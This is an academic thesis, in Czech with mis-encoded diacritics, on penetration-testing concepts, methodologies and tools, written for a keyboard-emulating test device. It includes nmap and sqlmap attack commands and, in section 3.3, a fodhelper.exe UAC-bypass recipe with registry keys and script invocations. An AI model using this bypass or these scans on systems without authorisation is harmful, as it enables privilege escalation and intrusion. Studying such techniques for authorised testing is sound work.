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Bc. Michal Padyšák
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2022







Prohla²uji, ºe

� beru na v¥domí, ºe odevzdáním diplomové práce souhlasím se zve°ejn¥ním své
práce podle zákona £. 111/1998 Sb. o vysokých ²kolách a o zm¥n¥ a dopln¥ní
dal²ích zákon· (zákon o vysokých ²kolách), ve zn¥ní pozd¥j²ích právních p°edpis·,
bez ohledu na výsledek obhajoby;

� beru na v¥domí, ºe diplomové práce bude uloºena v elektronické podob¥ v univer-
zitním informa£ním systému dostupná k prezen£nímu nahlédnutí, ºe jeden výtisk
diplomové práce bude uloºen v p°íru£ní knihovn¥ Fakulty aplikované informatiky.
Univerzity Tomá²e Bati ve Zlín¥ a jeden výtisk bude uloºen u vedoucího práce;

� byl/a jsem seznámen/a s tím, ºe na moji diplomovou práci se pln¥ vztahuje zákon
£. 121/2000 Sb. o právu autorském, o právech souvisejících s právem autorským
a o zm¥n¥ n¥kterých zákon· (autorský zákon) ve zn¥ní pozd¥j²ích právních p°ed-
pis·, zejm. � 35 odst. 3;

� beru na v¥domí, ºe podle � 60 odst. 1 autorského zákona má UTB ve Zlín¥
právo na uzav°ení licen£ní smlouvy o uºití ²kolního díla v rozsahu � 12 odst. 4
autorského zákona;

� beru na v¥domí, ºe podle � 60 odst. 2 a 3 autorského zákona mohu uºít své
dílo � diplomovou práci nebo poskytnout licenci k jejímu vyuºití jen p°ipou²tí-li
tak licen£ní smlouva uzav°ená mezi mnou a Univerzitou Tomá²e Bati ve Zlín¥
s tím, ºe vyrovnání p°ípadného p°im¥°eného p°ísp¥vku na úhradu náklad·, které
byly Univerzitou Tomá²e Bati ve Zlín¥ na vytvo°ení díla vynaloºeny (aº do jejich
skute£né vý²e) bude rovn¥º p°edm¥tem této licen£ní smlouvy;

� beru na v¥domí, ºe pokud bylo k vypracování diplomové práce vyuºito soft-
waru poskytnutého Univerzitou Tomá²e Bati ve Zlín¥ nebo jinými subjekty pouze
ke studijním a výzkumným ú£el·m (tedy pouze k nekomer£nímu vyuºití), nelze
výsledky diplomové práce vyuºít ke komer£ním ú£el·m;

� beru na v¥domí, ºe pokud je výstupem diplomové práce jakýkoliv softwarový
produkt, povaºují se za sou£ást práce rovn¥º i zdrojové kódy, pop°. soubory, ze
kterých se projekt skládá. Neodevzdání této sou£ásti m·ºe být d·vodem k neob-
hájení práce.

Prohla²uji,

� ºe jsem na diplomové práci pracoval samostatn¥ a pouºitou literaturu jsem citoval.
V p°ípad¥ publikace výsledk· budu uveden jako spoluautor.

� ºe odevzdaná verze diplomové práce a verze elektronická nahraná do IS/STAG
jsou totoºné.

Ve Zlín¥ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

podpis autora

Michal Padyšák
Bc. Michal Padyšák, v.r.



ABSTRAKT

Tato diplomová práce se v¥nuje °e²ení problematiky v oblasti automatizovaného pe-

netra£ního testování. V rámci °e²ení vzniklo za°ízení pro provád¥ní penetra£ních test·

dostupných na pam¥´ové kart¥ s vyuºitím mikropo£íta£e. P°i p°ipojení mikropo£íta£e

k testovanému po£íta£i je automaticky spu²t¥na sada test· s vyuºitím simulace klá-

vesnice. Výsledky test· jsou nahrány zp¥t na pam¥´ovou kartu k analýze penetra£ním

testerem.

Klí£ová slova: Penetra£ní testování, automatizace, mikropo£íta£, za°ízení lidského roz-

hraní

ABSTRACT

This thesis is dedicated to solving problems in the �eld of automated penetration tes-

ting. As part of the solution, a device was created to perform penetration tests available

on a memory card using a microcomputer. When the microcomputer is connected to

the computer under test, a set of tests is automatically run by using simulation of

keyboard. The test results are uploaded back to the memory card for analysis by the

penetration tester.

Keywords: Penetration testing, automation, microcomputer, human interface device
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ÚVOD

Mnoºství po£íta£· je obrovské a po£et zranitelností neklesá. Naopak, s kaºdým novým

systémem v po£íta£i, nebo aktualizací obsahující novou funcionalitu, vznikají nové

p°íleºitosti pro zanechání chyby v systému. To stejné platí i pro bezpe£nou kon�guraci,

protoºe i kvalitní systém lze chybn¥ nastavit. Pokud chceme minimalizovat následky

naru²ení bezpe£nosti, je vhodné provád¥t preventivní opat°ení v podob¥ penetra£ních

test·. Toto testování je vhodné zvlá²´ v prost°edí �rem a d·leºitých organizací.

Penetra£ní testování je £asov¥ náro£ná £innost a vyºaduje odborníka � penetra£ního

testera. Ten musí být zku²ený a mít ²iroký rozhled v celém oboru informa£ních techno-

logií. Tohle jsou pom¥rn¥ dost vysoké nároky a t¥chto odborník· není mnoho. Zvlá²´

v situacích, kdy je pot°eba provést testování na více po£íta£ích v co nejkrat²ím £ase,

je tento problém znatelný a zárove¬ drahý.

Cílem práce je vytvo°it univerzální za°ízení pro penetra£ní testování a uleh£it práci

tester·m. Celý proces testování se tak zrychlí a zárove¬ zlevní.

Pro seznámení s penetra£ním testováním jsou v kapitole 1 popsáni jejich akté°i,

typy a metodiky. Kapitola 2 zmi¬uje nástroje pro penetra£ní testování a jejich pouºití.

Jelikoº je nutné popsat i princip práce s uºivatelkým oprávn¥ním v opera£ním systému

Windows, je v kapitole 3 popsán i s p°íkladem, jak spustit aplikaci pod jiným uºiva-

telským ú£tem. Vedle toho je návod na vyuºití chyby pro elevaci práv pro tuto práci.

Kapitola 4 obsahuje de�nici mikropo£íta£e, dále nástroje jak mikropo£íta£ programo-

vat, a nakonec i podkapitolu o podobném jiº existujícím za°ízení. Za°ízení musí pro

ovládání po£íta£e udrºovat komunikaci, toto je popsáno v kapitole 5. Kapitola zárove¬

obsahuje popis prokotolu pro p°enos soubor·.

Praktická £ást práce obsahuje zejména v kapitole 6 popis výroby za°ízení a jeho

konstrukci. Následující kapitola 7 obsahuje popis zdrojového kódu programu s odkazy

do p°íloh, a to z pohledu mikrokontorleru i po£íta£e. Tím, ºe se jedná o nové za°ízení,

je v kapitole 8 návod k pouºití. Aby mohlo za°ízení fungovat, pot°ebuje testy. Jejich

p°íklady jsou dostupné v kapitole 9. V dal²í a poslední kapitole 10 je pouºití t¥chto

test· popsáno na skute£ných p°ípadech.
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I. TEORETICKÁ �ÁST
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1 Penetra£ní testy

Penetra£ní testování zahrnuje simulaci skute£ného útoku pro posouzení bezpe£nostního

risku. Penetra£ní test objevuje zranitelnosti, které jsou zneuºitelné úto£níky. Tam, kde

to je moºné, jsou objevené zranitelnosti vyuºity k dal²ímu posouzení, co m·ºe úto£ník

po úsp¥²ném útoku získat. [1]

P°íru£ka Amerického národního institutu pro standardizaci a technologie [2] uvádí,

ºe testování také £asto zahrnuje skute£né útoky na skute£né systémy a data, které jsou

provád¥ny nástroji a technikami pouºívané úto£níky. Testované systémy mohou být do-

konce b¥hem testu po²kozeny, organizace v²ak stále bene�tují z v¥domosti, jak mohou

být jejich systémy naru²eny opravdovým útokem. �asto se u penetra£ních test· obje-

vuje i kombinace netechnických metod útok·. Nap°íklad m·ºe tester prolomit fyzické

zabezpe£ení a procedury pro p°ipojení k po£íta£ové sítím, ukrást vybavení, naru²ovat

komunikaci nebo sbírat citlivé informace p°es keyloggery.

1.1 Druhy penetra£ních test·

Selecký [3] zmi¬uje celkem t°i zp·soby jakýmy m·ºou být testy provád¥ny, tj. manu-

ální, automatické a semiautomatické. Testy dále d¥lí podle míry znalosti na Black-box,

White-box a Grey-box. Na webové stránce spole£nosti Integra Czech Republic, s.r.o.

[4] je popsán rozdíl penetra£ních test· dle pozice úto£níka. Na za£átek je t°eba zmínit,

ºe ºádná forma test· nikdy nepokryje celý programový kód, a tedy neodhalí v²echna

zranitelná místa.

1.1.1 Podle zp·sobu provedení

Manuální testy Jsou vykonávány testerem, tedy reálnou osobou. Výhodou je moº-

nost vytvá°et so�stikované procedury a testy p°esn¥ na míru pro speci�cké podmínky.

Toho automatizované testy n¥kdy nemohou docílit. Tester je schopen p°ímo popsat, co

a jak testuje, a to je velká výhoda. Výsledky test· je schopen popsat i nezainteresto-

vaným osobám, to m·ºe být kdokoliv, kdo nemá o dané oblasti p°ehled nebo znalosti.

Nap°íklad vedení nebo vrcholový management. Nevýhodou je nutná rozsáhlá znalost

testera nejen v dané oblasti testování. Nap°íklad moºností, jak vytvo°it webovou apli-

kaci je nep°eberné mnoºství. Dal²í nevýhodou je samotná £asová náro£nost provád¥ní

test· manuáln¥.

Automatizované testy Nabízí výhody v rychlosti, moºnostech roz²i°itelnosti podle

vlastních pot°eb a v relativn¥ jednoduché veri�kovatelnosti a reprodukovatelnosti. Ná-

stroje vyuºívané p°i automatizovaném testování jsou zpravidla vytvo°eny profesionály

s mnohletými zku²enostmi. S porovnáním s manuálními testy je výrazn¥ krat²í nutná
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doba na zau£ení a následnou aplikaci test· v praxi. Je totiº jednodu²²í nau£it se pou-

ºívat aplikaci na ovládání test· neº pln¥ rozum¥t princip·m celých test· provád¥ných

manuáln¥.

Nevýhodou je nemoºnost prezentovat výsledky v uºivatelsky p°ív¥tivé form¥ nebo

blíºe vysv¥tlit podrobnosti k danému problému. Pro pochopení a správnou interpre-

taci je op¥t nutná znalost pouºitých aplikací a testovaných oblastí. Dal²í nevýhoda je

nemoºnost tímto zp·sobem testovat n¥které typy zranitelných míst.

Semiautomatizované testy Jde o kombinaci manuálních a automatizovaných test·.

Jedná se o kompromis se snahou o maximální vyuºití výhod obou obou p°ístup·.

1.1.2 Podle míry znalosti

Black-box testy Nejpouºívan¥j²í druh test·, kdy je simulován úto£ník·v vn¥j²í vstup.

Ten zná pouze vstupy a potenciální výstupy aplikací. Nikoli v²ak vnit°ní strukturu apli-

kací £i sít¥. Pro ur£ení vstup· a výstup· testovaných systém· je v ur£itých p°ípadech

nutný rozsáhlý pr·zkum. Samotná funkcionalita systém· je pro testera £ernou sk°í¬kou

(Black-box). Protikladem jsou tzv. White-box testy.

White-box testy S porovnáním s Black-box testy jsou pro tento typ test· typické

plné vstupní znalosti. Zakládají si na znalosti architektury a zdrojového kódu aplikace.

V p°ípad¥ po£íta£ových sítí, na znalosti architektury, typu a po£tu p°ítomných za°ízení

a na �remních politikách. P°i testování se hledají chyby analýzou zdrojového kódu.

Takový druh test· vyºaduje znalost pouºitého programovacího jazyka a dob°e napsaný

kód.

Výhodou je znalost kódu nebo struktury sít¥. To umoº¬uje najít potenciální zra-

nitelná místa v podstatn¥ krat²í dob¥. V p°ípad¥ aplikací je p°idruºenou výhodou

optimalizace kódu, kterou je moºné provád¥t na základ¥ nalezených zranitelných míst

a chyb.

Nevýhodou je nutná znalost pouºitého programovacího jazyka, coº m·ºe nep°ímo

zvý²it cenu testu, protoºe je od testera vyºadována vy²²í kvali�kace. Dal²í nevýhodou

je £asová náro£nost a pom¥rn¥ nízké zam¥°ení na kód a architekturu.

Grey-box testy Jsou alternativou k p°edchozím typ·m test·. Snaºí se maximáln¥

vyuºít p°ínosy a výhody obou vý²e uvedených typ· test·. Vyuºívají se znalosti vnit°ní

logiky aplikace, ale testy probíhají z hlediska uºivatele nebo, v p°ípad¥ bezpe£nostních

test·, potenciálního úto£níka.
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1.1.3 Podle pozice úto£níka

Interní testování Dá se rozd¥lit na dv¥ kategorie, z pozice stanice uºivatele £i za-

m¥stance, tedy osoby, která má oprávn¥ní s po£íta£em £i technikou pracovat. Druhou

kategorií je osoba cizí, tedy náv²t¥va £i osoba, která nemá oprávn¥ní s po£íta£em £i

technikou pracovat.

P°íklad fází interního testování ve �rm¥, p°i simulaci útoku z pozice stanice uºivatele,

která má doménový ú£et bez administrátorského p°ístupu:

1. Zisk administrátorských oprávn¥ní.

2. Ze získané pozice zanalyzovat informace a zranitelnosti v okolní interní síti.

3. Útok na ostatní pozice.

4. Zisk oprávn¥ní doménového administrátora.

5. Ze získané pozice zanalyzovat informace a zranitelnosti v okolní interní síti.

6. Útok na sí´ové prvky, servery a dal²í za°ízení.

Následuje p°íklad fází interního testování, ov²em nyní z pozice náv²t¥vníka �rmy.

V tomto scéná°i ov¥°íme, zda jsou pln¥ izolovány p°ístupové sít¥ ur£ené pro hosty, kte°í

nemají vlastní uºivatelský ú£et. Jedná se nap°íklad o p°ístup ze zasedacích místností,

nechrán¥ných ethernet zásuvek na chodbách a jiných místech.

Externí testování Je pr·zkumem moºností in�ltrace z vn¥j²ího prost°edí bez znalosti

po£íta£ové sít¥. Cílem t¥chto test· jsou exponované za°ízení a aplikace do ve°ejného

internetu. Testy jsou £asto provád¥né metodou Black box a mohou být rozd¥leny na-

p°íklad do t¥chto fází:

1. Zji²t¥ní co nejvíce informací o infrastruktu°e.

2. Testování ve°ejných komponent sít¥. T¥mi mohou být otev°ené porty a jejich

sluºby, u kterých se hledají bezpe£nostní chyby s následnou kategorizací dle jejich

závaºnosti.

3. V p°ípad¥ nalezení zranitené sluºby je provedena její exploitace a získání p°ímého

p°ístupu (shell) k testovanému cíli.

4. Pokud v rámci exploitace dojde k získání low-privileged p°ístupu, jsou prozkou-

mány moºnosti zvý²ení na administrátorské oprávn¥ní.



UTB ve Zlín¥, Fakulta aplikované informatiky 16

1.2 Úto£níci

M·ºeme je rozd¥lit na t°i skupiny podle úmysl· jejich £in·, a to na black hat, white

hat a gray hat. [5]

1.2.1 Black hat

Black hat úto£níci mají v¥t²inou rozsáhlé v¥domosti o moºnostech, jak se dostat do

po£íta£ových sítí, a jak obcházet bezpe£nostní protokoly. �asto vytvá°í malware, který

jim umoº¬uje získat p°istup do po£íta£ových sítí, ²pehovat ob¥´ nebo uzamknout za°í-

zení.

Tito úto£níci typicky konají pro své osobní obohacení, mohou v²ak také být sou£ástí

kyberspionáºe nebo protestu. N¥kte°í mohou být dokonce závislí na kyberzlo£inu.

Mohou to být amaté°i nebo profesionálové. Sta£í, aby t°eba za£ali ²í°it malware nebo

kradli data, nap°íklad osobní informace nebo p°ihla²ovací údaje.

1.2.2 White hat

Úto£níci zku²ení stejn¥ jako black hat. Rozdíl je ale v úmyslech úto£níka. Svoje v¥-

domosti a zku²enosti vyuºívá ke konání dobra. Jsou známí také jako eti£ní hacke°i.

Mohou být za své sluºby placeni jako zam¥stnanci nebo kontrakto°i v roli bezpe£nost-

ního specialisty, který se snaºí najít zranitelnosti.

Na rozdíl od black hat konají s povolením vlastníka systému, jejich £innost je tedy

legální. Provádí penetra£ní testy, testují existující bezpe£nostní systémy a hledají zra-

nitelnosti v podnikových po£íta£ích. Existují dokonce celé konference, certi�kace nebo

kurzy pro lidi, kte°í se cht¥jí etickému hackingu nau£it.

1.2.3 Gray hat

Jsou to lidé, kte°í jsou n¥kde na pomezí úmysl· mezi white a black hat. P°ímo necht¥jí

konat nelegální £innost, £asto se ov²em nabourávají do systém· ob¥ti a hledají zrani-

telnosti, necht¥jí ²kodit. Ob¥´ ale o £innosti úto£níka neví nebo nedala svolení, takºe

je tato £innost nelegální.

Pokud úto£ník zranitelnosti najde, tak je zpravidla oznámí vlastníkovi. �asto ale

cht¥jí odm¥nu. Pokud jim není odm¥na vyplacena, úto£ník své zji²t¥ní zve°ejní.

Tito úto£níci nejsou p°ímo ²kodliví, pouze se snaºí za svá zji²t¥ní n¥co získat. Zra-

nitelnosti pouze zji²´ují a nezneuºívají jich.
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1.3 P°ístupy k penetra£ním test·m

Pro samotné penetra£ní testování existuje n¥kolik metodik, penetra£ní tester si tak

m·ºe vybrat ideální p°ístup. Mezi p°íklady lze dle stránky Securium Solutions [6] za-

°adit metodiky a pom·cky Open-Source Security Testing Methodology Manual, Open

Web Application Security Project, Information Systems Security Assessment Framework

a Penetration Testing Execution Standard.

1.3.1 Open-Source Security Testing Methodology Manual

P°íru£ka Open-Source Security Testing Methodology Manual (OSSTMM) [7] de�nuje

postupy pro popis provozní bezpe£nosti (také známé jako OpSec) skrz kontrolu vý-

sledk· test·, které byly provedeny spolehlivou a konzistentní cestou. Výsledky test·

jsou mezi sebou porovnatelné. Postupy jsou adaptibilní na tém¥° jakýkoliv typ au-

ditu, do kterého spadá penetra£ní testování, etický hacking, posuzování bezpe£nosti,

zranitelnosti a tak dále. Tuto p°íru£ku zmi¬uje ve své knize i Selecký [3].

P°íru£ka obsahuje soubor metodik, jak postupovat p°i r·zných fázích testu. Meto-

dologie zahrnuje základní oblasti, nap°íklad: bezpe£nost informa£ní, procesní, komuni-

ka£ní, fyzickou, sí´ovou nebo bezdrátovou. Jednotlivé fáze jsou pak následující:

� Induk£ní fáze

� fáze interakce

� fáze vy²et°ování

� fáze intervence

1.3.2 Penetration Testing Execution Standard

Shanley a Johnstone v £lánku [8] tento standard (také jako PTES) popisují jako jed-

notlivé kroky, podobn¥ jako u OSSTMM, a to:

� fáze interakce p°ed za£átkem

� shromaº¤ování informací

� modelování zranitelností

� analýza zranitelností

� fáze zneuºití

� fáze po zneuºití
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� reportování

PTES1) do sebe za£le¬uje dal²í zdroje a vyuºívá jejich výhody. Nap°íklad projekt

Open Web Application Security Project2) (OWASP) ur£ený k testování webových apli-

kací je doporu£ován práv¥ v PTES. Tento standard se snaºí vytvo°it základnu pro pene-

tra£ní testy. Díky tomu bezpe£nostní odborník nebo organizace m·ºe tu²it, co o£ekávat

od penetra£ního testování.

1.3.3 Information Systems Security Assessment Framework

Také znám jako ISSAF, je rámcem pro penetra£ní testování vytvo°ený skupinou Open

Information Systems Security Group (OISSG). V £lánku od Shanley a Johnstone [8]

je popsán jako rámec obsahující n¥kolik metodologií snaºící se pokrýt v²echny moºné

domény penetra£ního testování od koncepce aº po kompletaci. Metodologie je rozd¥lena

do t°í hlavních fází:

� fáze plánování a p°ípravy

� fáze ohodnocení

� fáze reportování a £i²t¥ní

Jednou z výhod ISSAF je zejména to, ºe je zobrazen z°etelný vztah mezi úkoly

a jejich p°idruºenými nástroji pro kaºdý úkol.

1)http://www.pentest-standard.org/
2)https://owasp.org/
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2 Nástroje pro penetra£ní testování

Nástroje zna£n¥ uleh£ují práci penetra£nímu testerovi, jsou totiº specializované ke kon-

krétním úlohám. Nap°íklad k objevování zranitelností, ²patného nastavení systému

nebo aplikací, analýzu zabezpe£ení, £i jenom k reportování aktuálního stavu. Pro tyto

a dal²í úkony mohou poslouºit následující nástroje v této kapitole.

2.1 NMAP

Autor nástroje Lyon [9] na své webové stránce zmi¬uje, jak nástroj funguje. Mimo to,

ºe je nástroj voln¥ ke staºení, autor v¥°í, ºe spl¬uje de�nici Open Source De�nition1)

(OSD). Je vydáván na základ¥ licence GNU GPLv22). Jediná výjimka je pro organizace,

které cht¥jí nástroj NMAP prodávat spole£n¥ se svými nástroji, ty musí platit za

speciální edici. Je dostupný pro celou °adu opera£ních systém·, Windows nevyjímaje.

2.1.1 Funkcionalita

Kim [10] zmi¬uje NMAP jako nástroj vhodný k detekci pouºitého opera£ního systému

a sluºeb na n¥m b¥ºících. V p°ípad¥ pravidelného skenování je vhodné jednotlivé skeny

mezi sebou porovnávat. Tím se dají vypátrat p°ípadné zm¥ny prost°edí v pr·b¥hu £asu.

Lyon [9] sv·j nástroj popisuje jako nástroj pro pr·zkum sít¥ a bezpe£nostní audit. Je

navrºen k rychlému skenování rozsáhlých sítí, i kdyº dob°e funguje i proti jednotlivým

hostitel·m. NMAP pouºívá surové pakety IP novými zp·soby ke zji²t¥ní, jací hostitelé

jsou v síti k dispozici, jaké sluºby (název a verze aplikace) tito hostitelé nabízejí, jaké

opera£ní systémy (a verze OS) na nich b¥ºí, jaký typ paketových �ltr·/�rewall· se po-

uºívá a desítky dal²ích charakteristik. i kdyº se NMAP b¥ºn¥ pouºívá pro bezpe£nostní

audity, mnoho správc· systém· a sítí jej povaºuje za uºite£ný pro rutinní úlohy, jako

je inventarizace sít¥, správa plán· aktualizace sluºeb a sledování provozuschopnosti

hostitel· nebo sluºeb.

Výstupem programu NMAP je seznam skenovaných cíl· s dopl¬ujícími informacemi

o kaºdém z nich v závislosti na pouºitých moºnostech. Klí£ovou informací je Tabulka

zajímavých port·. V této tabulce je uvedeno £íslo portu a protokolu, název sluºby a její

stav. Stav je bu¤ otev°ený, �ltrovaný, uzav°ený, nebo ne�ltrovaný. Otev°ený znamená,

ºe aplikace na cílovém po£íta£i naslouchá spojení/paket·m na daném portu. Filtro-

vaný znamená, ºe port blokuje �rewall, �ltr nebo jiná sí´ová p°ekáºka, takºe NMAP

nem·ºe ur£it, zda je otev°ený nebo zav°ený. Na zav°ených portech neposlouchá ºádná

aplikace, a£koli se mohou kdykoli otev°ít. Porty jsou klasi�kovány jako ne�ltrované,

1)https://opensource.org/docs/definition.php
2)https://www.gnu.org/licenses/old-licenses/gpl-2.0.html

https://opensource.org/docs/definition.php
https://www.gnu.org/licenses/old-licenses/gpl-2.0.html
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pokud reagují na sondy NMAPu, ale NMAP nedokáºe ur£it, zda jsou otev°ené nebo

zav°ené. NMAP hlásí kombinace stav· otev°ený/�ltrovaný a uzav°ený/�ltrovaný, kdyº

nedokáºe ur£it, který z t¥chto dvou stav· popisuje daný port. Tabulka port· m·ºe také

obsahovat podrobnosti o verzi softwaru, pokud byla poºadována detekce verze. Pokud

je poºadováno skenování protokolu IP (parametr -sO), NMAP poskytuje informace

o podporovaných protokolech IP spí²e neº o naslouchajících portech.

Krom¥ tabulky zajímavých port· m·ºe Nmap poskytnout dal²í informace o cílech,

v£etn¥ reverzních názv· DNS, odhad· opera£ního systému, typ· za°ízení a adres MAC.

2.1.2 P°íklad pouºití

Nap°íklad sken sít¥ s úplným skenováním port· a sluºeb na dostupných hostitelích

s vyuºitím zdrojového souboru s IP adresami popisuje Andrea [11] jako kombinaci

následujícíh parametr·:

nmap -p- -Pn -sS -A -iL ips.txt -oX fullscan.xml -oN fullscan.txt

� -p- Tento parametr prohledá v²ech 65535 port·,

� -Pn zakáºe zji²´ování hostitele. Pouze skenování port·,

� -sS skenování port· TCP SYN,

� -A zji²´uje opera£ní systémy i sluºby,

� -iL skenuje ze seznamu IP adres v textovém souboru,

� -oX zapí²e výsledky skenování do souboru XML,

� -oN zapí²e výsledky skenování do normálního souboru TXT.

2.2 SQLmap

Vedle nástroje NMAP zmi¬uje Kim [10] také SQLmap. Popisuje ho jako ideální ná-

stroj pro hledání Structured Query Language injection (SQLi), manipulaci databáze

prost°ednictvím p°íkaz·, nebo k ud¥lání jejího otisku (dump). S vyuºitím injekce do-

káºe dokonce zp°ístupnit interaktivní shell.

2.2.1 Funkcionalita

Na stránce nástroje [12] je SQLmap popsán jako open source nástroj pro penetra£ní

testování, který automatizuje proces detekce a vyuºití chyb SQLi a p°evzetí databá-

zových server·. Je vybaven výkonným detek£ním enginem, mnoha specializovanými
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funkcemi pro dokonalé penetra£ní testy a ²irokou ²kálou p°epína£· od otisk· data-

báze, p°es získávání dat z databáze aº po p°ístup k základnímu souborovému systému

a spou²t¥ní p°íkaz· v opera£ním systému prost°ednictvím out-of-band p°ipojení (mimo

hlavní p°ipojení).

2.2.2 P°íklad pouºití

Singh [13] a HackTricks [14] popisují, jak se m·ºe nástroj pouºívat. Nap°íklad p°íkazem

crawl je moºné stránku procházet automaticky a odhalit tak zranitelnosti:

sqlmap -u "http://example.com/"�crawl=1 �random-agent �batch �forms

�threads=5 �level=5 �risk=3

� �batch zapíná neinteraktivní mód (SQLmap se totiº b¥ºn¥ ptá ve svém b¥hu na

r·zné otázky, tato volba vybere vºdy tu základní volbu),

� �crawl jak hluboko (v adresá°ové struktu°e) má nástroj prohledávat,

� �forms parsuje a testuje formulá°e.

Pro moºné urychlení test· je moºné nástroj spustit s parametrem �threads=N (kde

N je maximální po£et konkurentn¥ provedených poºadavk·). �íslo by ov²em nem¥lo

být vysoké, m·ºe to ovlivnit p°esnost výsledk·.
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3 Oprávn¥ní opera£ního systému Windows

Pro zvý²ení zabezpe£ení opera£ního systému je vyuºíváno preventivního systému opráv-

n¥ní, který uºivatel·m a spou²t¥ným program·m omezuje pravomoci p°i jejich práci.

V této kapitole je popsán User Account Control, který d·leºitou sou£ástí opera£ního

systému Windows.

3.1 User Account Control

Na webové stránce spole£nosti Microsoft [15] je hlavní úloha User Account Control

(UAC) popsána jako prevence spou²t¥ní malware, které m·ºe po²kodit po£íta£. Zá-

rove¬ pomáhá organizacím s nasazováním lépe spravovatelných po£íta£ových stanic.

S UAC b¥ºí aplikace a úlohy v prost°edí s neadministrátorským ú£tem, tedy pokud

administrátor p°ímo nenastaví administrátorskou úrove¬ pro b¥h. UAC m·ºe zabránit

automatické instalaci neautorizovaných aplikací a zabránit tak sytémovým zm¥nám.

UAC umoº¬uje v²em uºivatel·m p°ihla²ovat se k po£íta£i pomocí standardního uºi-

vatelského ú£tu. Nap°íklad Windows Explorer automaticky d¥dí oprávn¥ní na úrovni

standardního uºivatele. Navíc v²echny aplikace spu²t¥né pomocí Windows Explorer

(nap°íklad poklepáním na zástupce) se rovn¥º spou²t¥jí se standardní sadou uºivatel-

ských oprávn¥ní. Mnoho aplikací, v£etn¥ t¥ch, které jsou sou£ástí samotného opera£ního

systému, je navrºeno tak, aby tímto zp·sobem správn¥ fungovaly.

Jiné aplikace, zejména ty, které nebyly speciáln¥ navrºeny s ohledem na nastavení

zabezpe£ení, £asto vyºadují k úsp¥²nému spu²t¥ní dal²í oprávn¥ní. Tyto typy aplikací

se ozna£ují jako star²í aplikace. Krom¥ toho akce, jako je instalace nového softwaru

a provád¥ní zm¥n kon�gurace brány Windows Firewall, vyºadují více oprávn¥ní, neº

má k dispozici standardní uºivatelský ú£et.

Pokud je pot°eba spustit aplikaci s více neº standardními uºivatelskými právy, UAC

umoº¬uje uºivatel·m spou²t¥t aplikace jako administrátor (se skupinami a právy ad-

ministrátora) namísto jejich standardního ú£tu uºivatele. Uºivatelé nadále pracují v za-

bezpe£eném kontextu standardního uºivatele, p°i£emº v p°ípad¥ pot°eby mohou ur£ité

aplikace spou²t¥t se zvý²enými právy.

3.2 Spu²t¥ní procesu jako administrátor

Spu²t¥ní procesu nebo proces· lze provést nap°íklad p°es p°íkaz Start-Process v ter-

minálu PowerShell na lokálním po£íta£i. Standardn¥ je spu²t¥n nový proces, který d¥dí

v²echny prom¥nné prost°edí, které jsou de�novány v b¥ºícím procesu. Tímto p°íkazem

se dají spustit spustitelné soubory a skripty. Pro speci�kaci b¥hu lze k p°íkazu p°i-

dat parametry, t¥mi lze nap°íklad p°idat na£tení uºivatelského pro�lu, spustit proces
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v novém okn¥ nebo pouºít jiná oprávn¥ní.

P°íkladem pouºití je spu²t¥ní procesu PowerShell s právy administrátora (Spustit

jako administrátor):

Start-Process -FilePath "powershell" -Verb RunAs

Tento p°íklad a popis je dostupný v dokumentaci PowerShell verze 5.1 spole£nosti

Microsoft [16].

3.3 Zneuºití zranitelnosti

Dle spole£nosti Microsoft [17] dochází k elevaci oprávn¥ní, kdyº aplikace získá práva

nebo oprávn¥ní, která by nem¥la mít k dispozici. Mnohé ze zneuºití zvý²ení oprávn¥ní

jsou podobné zneuºití pro jiné hrozby.

Jedno z takových zneuºití je popsáno pro program fodhelper na webové stránce

Penetration Testing Lab [18].

Prost°edí systému Windows 10 umoº¬uje uºivatel·m spravovat jazyková nastavení

pro r·zné funkce systémuWindows jako je psaní, p°evod textu na °e£ atd. Kdyº uºivatel

poºaduje otev°ít Spravovat volitelné funkce v Nastavení systému Windows, aby provedl

zm¥nu jazyka, vytvo°í se proces s názvem fodhelper.exe. Tento proces je spu²t¥n

s vysokou úrovní oprávn¥ní. Proces vyhledává následující registry v systému:

HKCU:\Software\Classes\ms-settings\shell\open\command
HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute
HKCU:\Software\Classes\ms-settings\shell\open\command\(default)

Tyto registry sice neexistují, ale uºivatel je m·ºe vytvo°it. Jak anglické názvy v re-

gistrech vypovídají (p°íkaz), jedná se o spu²t¥ní p°íkazu z registru za b¥hu, v tomto

p°ípad¥ i podsunutého.Tím zneuºije programu fodhelper tak, aby spustil p°íkaz s vy-

sokým oprávn¥ním a obe²el nastavení UAC.

P°íklad spu²t¥ní PowerShell zneuºitím zranitelnosti je vid¥t na obrázku 3.1.

Kód pro automatizaci procesu spu²t¥ní je dostupný v repositá°i na adrese https:

//github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1.

Spu²t¥ním tohoto skriptu je moºné vyzkou²et, jestli je zranitelnost stále dostupná a tím

pádem vyuºitelná.

Pro spu²t¥ní p°íkazové °ádky jako administrátor je skript spou²t¥n následujícím

zp·sobem:

FodhelperBypass -program "cmd.exe"

Pokud chceme spustit p°íkazovou °ádku jako administrátor s PowerShellem, tak sta£í

za°adit p°íkaz pro spu²t¥ní PowerShellu na konec:

https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1
https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1
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Obr. 3.1 Nastavení registru pro fodhelper.exe (p°evzato z [18])

FodhelperBypass -program "cmd.exe /c powershell.exe"
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4 Mikropo£íta£

Pinker v knize Mikroprocesory a mikropo£íta£e [19] popisuje mikropo£íta£ jako za°í-

zení na jednom £ipu, kterému se také °íká mikrokontroler. Je to procesor velmi malých

rozm¥r· zapojený v integrovaném obvodu spole£n¥ s pam¥tí a vstupn¥ výstupním roz-

hraním. P°ítomnost £i absence jednotlivých periferií ur£uje, zda se jedná o mikropo£íta£

univerzální nebo specializovaný. Univerzální mikrokontroler má více periferií neº je ne-

zbytn¥ nutné a je také tak ú£elov¥ prodáván. Specializované mikropo£íta£e mají £asto

za ú£elem úspory náklad· a velikosti zabudovány jen nezbytn¥ nutné prvky. �asto jsou

také pro danou £innost na míru navrºeny.

4.1 Základní jednotky

V knize Fundamentals of digital logic and microcomputer design [20] je mikropo£íta£

popsán jako za°ízení, které se skládá ze 3 základních jednotek, konkrétn¥ to je jednotka

pro vstup a výstup, Central Processing Unit (CPU) a jednotka pam¥ti.

� Vstupní a výstupní jednotka propojuje externí za°ízení skrz registry (I/O porty).

� CPU se v mikropo£íta£i nazývá mikroprocesor. Vykonává v²echny instrukce,

a provádí aritmetické a logické operace.

